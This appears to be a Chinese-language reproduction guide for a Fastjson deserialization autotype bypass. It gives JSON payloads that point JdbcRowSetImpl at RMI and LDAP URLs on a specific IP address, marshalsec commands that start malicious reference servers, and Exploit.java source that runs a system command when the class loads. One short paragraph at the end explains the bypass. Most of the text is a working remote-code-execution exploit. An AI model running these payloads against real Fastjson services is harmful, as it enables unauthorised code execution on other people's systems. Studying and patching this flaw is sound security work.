参考链接:

https://paper.seebug.org/994/ https://www.cnblogs.com/jinqi520/p/11097779.html https://xz.aliyun.com/t/5680

0x01 漏洞复现 RMi

1. payload:

{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://106.12.201.224:1099/Exploit", "autoCommit":true } }

2. 在×××上执行,启动一个rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"

  1. 生成编译攻击脚本

将下面代码保存为:Exploit.java 然后执行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x02 漏洞复现 LDAP

1. payload:

{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://106.12.201.224:1389/Exploit", "autoCommit":true } }

2. 在×××上执行,启动一个rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"

  1. 生成编译攻击脚本 Exploit.java 中不要导入包

将下面代码保存为:Exploit.java 然后执行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x03 漏洞原理

这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。

当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。